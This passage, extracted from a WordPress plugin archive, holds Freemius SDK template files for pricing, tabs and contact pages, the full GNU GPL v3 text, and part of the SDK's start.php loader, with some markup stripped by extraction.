fs_require_template( 'forms/trial-start.php', $template_data); } $view_params = array( 'id' => $VARS['id'], 'page' => strtolower( $fs->get_text_x_inline( 'Pricing', 'noun', 'pricing' ) ), ); fs_require_once_template('secure-https-header.php', $view_params); } $has_tabs = $fs->_add_tabs_before_content(); if ( $has_tabs ) { $query_params['tabs'] = 'true'; } ?>
                  $fs->contact_url(), 'is_production' => ( defined( 'WP_FS__IS_PRODUCTION_MODE' ) ? WP_FS__IS_PRODUCTION_MODE : null ), 'menu_slug' => $fs->get_menu_slug(), 'mode' => 'dashboard', 'fs_wp_endpoint_url' => WP_FS__ADDRESS, 'request_handler_url' => admin_url( 'admin-ajax.php?' . http_build_query( array( 'module_id' => $fs->get_id(), 'action' => $fs->get_ajax_action( 'pricing_ajax_action' ), 'security' => $fs->get_ajax_security( 'pricing_ajax_action' ) ) ) ), 'selector' => '#fs_pricing_wrapper', 'unique_affix' => $fs->get_unique_affix(), 'show_annual_in_monthly' => $fs->apply_filters( 'pricing/show_annual_in_monthly', true ), ), $query_params ); wp_add_inline_script( 'freemius-pricing', 'Freemius.pricing.new( ' . json_encode( $pricing_config ) . ' )' ); ?>
                  _add_tabs_after_content(); } $params = array( 'page' => 'pricing', 'module_id' => $fs->get_id(), 'module_type' => $fs->get_module_type(), 'module_slug' => $slug, 'module_version' => $fs->get_plugin_version(), ); fs_require_template( 'powered-by.php', $params ); vendor/freemius/templates/tabs.php000064400000015501147600365160013332 0ustar00get_slug(); $menu_items = $fs->get_menu_items(); $show_settings_with_tabs = $fs->show_settings_with_tabs(); $tabs = array(); foreach ( $menu_items as $priority => $items ) { foreach ( $items as $item ) { if ( ! $item['show_submenu'] ) { $submenu_name = ('wp-support-forum' === $item['menu_slug']) ? 'support' : $item['menu_slug']; if ( 'pricing' === $submenu_name && ! $fs->is_pricing_page_visible() ) { continue; } if ( ! $show_settings_with_tabs || ! $fs->is_submenu_item_visible( $submenu_name, true ) ) { continue; } } $url = $fs->_get_admin_page_url( $item['menu_slug'] ); $title = $item['menu_title']; $tab = array( 'label' => $title, 'href' => $url, 'slug' => $item['menu_slug'], ); if ( 'pricing' === $item['menu_slug'] && $fs->is_in_trial_promotion() ) { $tab['href'] .= '&trial=true'; } $tabs[] = $tab; } } ?> vendor/freemius/templates/contact.php000064400000010211147600365160014025 0ustar00get_slug(); $context_params = array( 'plugin_id' => $fs->get_id(), 'plugin_public_key' => $fs->get_public_key(), 'plugin_version' => $fs->get_plugin_version(), ); // Get site context secure params. if ( $fs->is_registered() ) { $context_params = array_merge( $context_params, FS_Security::instance()->get_context_params( $fs->get_site(), time(), 'contact' ) ); } $query_params = array_merge( $_GET, array_merge( $context_params, array( 'plugin_version' => $fs->get_plugin_version(), 'wp_login_url' => wp_login_url(), 'site_url' => Freemius::get_unfiltered_site_url(), // 'wp_admin_css' => get_bloginfo('wpurl') . "/wp-admin/load-styles.php?c=1&load=buttons,wp-admin,dashicons", ) ) ); $view_params = array( 'id' => $VARS['id'], 'page' => strtolower( $fs->get_text_inline( 'Contact', 'contact' ) ), ); fs_require_once_template('secure-https-header.php', $view_params); $has_tabs = $fs->_add_tabs_before_content(); if ( $has_tabs ) { $query_params['tabs'] = 'true'; } ?>
                  _add_tabs_after_content(); } $params = array( 'page' => 'contact', 'module_id' => $fs->get_id(), 'module_type' => $fs->get_module_type(), 'module_slug' => $slug, 'module_version' => $fs->get_plugin_version(), ); fs_require_template( 'powered-by.php', $params );vendor/freemius/templates/clone-resolution-js.php000064400000007357147600365160016326 0ustar00 vendor/freemius/config.php000064400000034545147600365160011661 0ustar00 Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. {one line to give the program's name and a brief idea of what it does.} Copyright (C) {year} {name of author} This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: {project} Copyright (C) {year} {fullname} This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read .vendor/freemius/start.php000064400000047656147600365160011560 0ustar00=' ) && version_compare( $wp_version, '6.3.1', '<=' ) && ( 'site-editor.php' === basename( $_SERVER['SCRIPT_FILENAME'] ) || ( function_exists( 'wp_is_json_request' ) && wp_is_json_request() && ! empty( $_GET['wp_theme_preview'] ) ) ) ) { // Requiring this file since the call to get_stylesheet() below can trigger a call to wp_get_current_user() when previewing a theme. require_once ABSPATH . 'wp-includes/pluggable.php'; } /** * Get the themes directory where the active theme is located (not passing the stylesheet will make WordPress * assume that the themes directory is inside `wp-content`. * * @author Leo Fajardo (@leorw) * @since 2.2.3 */ $themes_directory = get_theme_root( get_stylesheet() ); $themes_directory_name = basename( $themes_directory ); $theme_candidate_basename = basename( dirname( $fs_root_path ) ) . '/' . basename( $fs_root_path ); if ( $file_path == fs_normalize_path( realpath( trailingslashit( $themes_directory ) . $theme_candidate_basename . '/' . basename( $file_path ) ) ) ) { $this_sdk_relative_path = '../' . $themes_directory_name . '/' . $theme_candidate_basename; $is_theme = true; } else { $this_sdk_relative_path = plugin_basename( $fs_root_path ); $is_theme = false; } if ( ! isset( $fs_active_plugins ) ) { // Load all Freemius powered active plugins. $fs_active_plugins = get_option( 'fs_active_plugins' ); if ( ! is_object( $fs_active_plugins ) ) { $fs_active_plugins = new stdClass(); } if ( ! isset( $fs_active_plugins->plugins ) ) { $fs_active_plugins->plugins = array(); } } if ( empty( $fs_active_plugins->abspath ) ) { /** * Store the WP install absolute path reference to identify environment change * while replicating the storage. * * @author Vova Feldman (@svovaf) * @since 1.2.1.7 */ $fs_active_plugins->abspath = ABSPATH; } else { if ( ABSPATH !== $fs_active_plugins->abspath ) { /** * WordPress path has changed, cleanup the SDK references cache. * This resolves issues triggered when spinning a staging environments * while replicating the database. * * @author Vova Feldman (@svovaf) * @since 1.2.1.7 */ $fs_active_plugins->abspath = ABSPATH; $fs_active_plugins->plugins = array(); unset( $fs_active_plugins->newest ); } else { /** * Make sure SDK references are still valid. This resolves * issues when users hard delete modules via FTP. * * @author Vova Feldman (@svovaf) * @since 1.2.1.7 */ $has_changes = false; foreach ( $fs_active_plugins->plugins as $sdk_path => $data ) { if ( ! file_exists( ( isset( $data->type ) && 'theme' === $data->type ? $themes_directory : WP_PLUGIN_DIR ) . '/' . $sdk_path ) ) { unset( $fs_active_plugins->plugins[ $sdk_path ] ); if ( ! empty( $fs_active_plugins->newest ) && $sdk_path === $fs_active_plugins->newest->sdk_path ) { unset( $fs_active_plugins->newest ); } $has_changes = true; } } if ( $has_changes ) { if ( empty( $fs_active_plugins->plugins ) ) { unset( $fs_active_plugins->newest ); } update_option( 'fs_active_plugins', $fs_active_plugins ); } } } if ( ! function_exists( 'fs_find_direct_caller_plugin_file' ) ) { require_once dirname( __FILE__ ) . '/includes/supplements/fs-essential-functions-1.1.7.1.php'; } if ( ! function_exists( 'fs_get_plugins' ) ) { require_once dirname( __FILE__ ) . '/includes/supplements/fs-essential-functions-2.2.1.php'; } // Update current SDK info based on the SDK path. if ( ! isset( $fs_active_plugins->plugins[ $this_sdk_relative_path ] ) || $this_sdk_version != $fs_active_plugins->plugins[ $this_sdk_relative_path ]->version ) { if ( $is_theme ) { $plugin_path = basename( dirname( $this_sdk_relative_path ) ); } else { $plugin_path = plugin_basename( fs_find_direct_caller_plugin_file( $file_path ) ); } $fs_active_plugins->plugins[ $this_sdk_relative_path ] = (object) array( 'version' => $this_sdk_version, 'type' => ( $is_theme ? 'theme' : 'plugin' ), 'timestamp' => time(), 'plugin_path' => $plugin_path, ); } $is_current_sdk_newest = isset( $fs_active_plugins->newest ) && ( $this_sdk_relative_path == $fs_active_plugins->newest->sdk_path ); if ( ! isset( $fs_active_plugins->newest ) ) { /** * This will be executed only once, for the first time a Freemius powered plugin is activated. */ fs_update_sdk_newest_version( $this_sdk_relative_path, $fs_active_plugins->plugins[ $this_sdk_relative_path ]->plugin_path ); $is_current_sdk_newest = true; } else if ( version_compare( $fs_active_plugins->newest->version, $this_sdk_version, '<' ) ) { /** * Current SDK is newer than the newest stored SDK. */ fs_update_sdk_newest_version( $this_sdk_relative_path, $fs_active_plugins->plugins[ $this_sdk_relative_path ]->plugin_path ); if ( class_exists( 'Freemius' ) ) { // Older SDK version was already loaded. if ( ! $fs_active_plugins->newest->in_activation ) { // Re-order plugins to load this plugin first. fs_newest_sdk_plugin_first(); } // Refresh page. fs_redirect( $_SERVER['REQUEST_URI'] ); } } else { if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $fs_newest_sdk = $fs_active_plugins->newest; $fs_newest_sdk = $fs_active_plugins->plugins[ $fs_newest_sdk->sdk_path ]; $is_newest_sdk_type_theme = ( isset( $fs_newest_sdk->type ) && 'theme' === $fs_newest_sdk->type ); if ( ! $is_newest_sdk_type_theme ) { $is_newest_sdk_plugin_active = is_plugin_active( $fs_newest_sdk->plugin_path ); } else { $current_theme = wp_get_theme(); $is_newest_sdk_plugin_active = ( $current_theme->stylesheet === $fs_newest_sdk->plugin_path ); $current_theme_parent = $current_theme->parent(); /** * If the current theme is a child of the theme that has the newest SDK, this prevents a redirects loop * from happening by keeping the SDK info stored in the `fs_active_plugins` option. */ if ( ! $is_newest_sdk_plugin_active && $current_theme_parent instanceof WP_Theme ) { $is_newest_sdk_plugin_active = ( $fs_newest_sdk->plugin_path === $current_theme_parent->stylesheet ); } } if ( $is_current_sdk_newest && ! $is_newest_sdk_plugin_active && ! $fs_active_plugins->newest->in_activation ) { // If current SDK is the newest and the plugin is NOT active, it means // that the current plugin in activation mode. $fs_active_plugins->newest->in_activation = true; update_option( 'fs_active_plugins', $fs_active_plugins ); } if ( ! $is_theme ) { $sdk_starter_path = fs_normalize_path( WP_PLUGIN_DIR . '/' . $this_sdk_relative_path . '/start.php' ); } else { $sdk_starter_path = fs_normalize_path( $themes_directory . '/' . str_replace( "../{$themes_directory_name}/", '', $this_sdk_relative_path ) . '/start.php' ); } $is_newest_sdk_path_valid = ( $is_newest_sdk_plugin_active || $fs_active_plugins->newest->in_activation ) && file_exists( $sdk_starter_path ); if ( ! $is_newest_sdk_path_valid && ! $is_current_sdk_newest ) { // Plugin with newest SDK is no longer active, or SDK was moved to a different location. unset( $fs_active_plugins->plugins[ $fs_active_plugins->newest->sdk_path ] ); } if ( ! ( $is_newest_sdk_plugin_active || $fs_active_plugins->newest->in_activation ) || ! $is_newest_sdk_path_valid || // Is newest 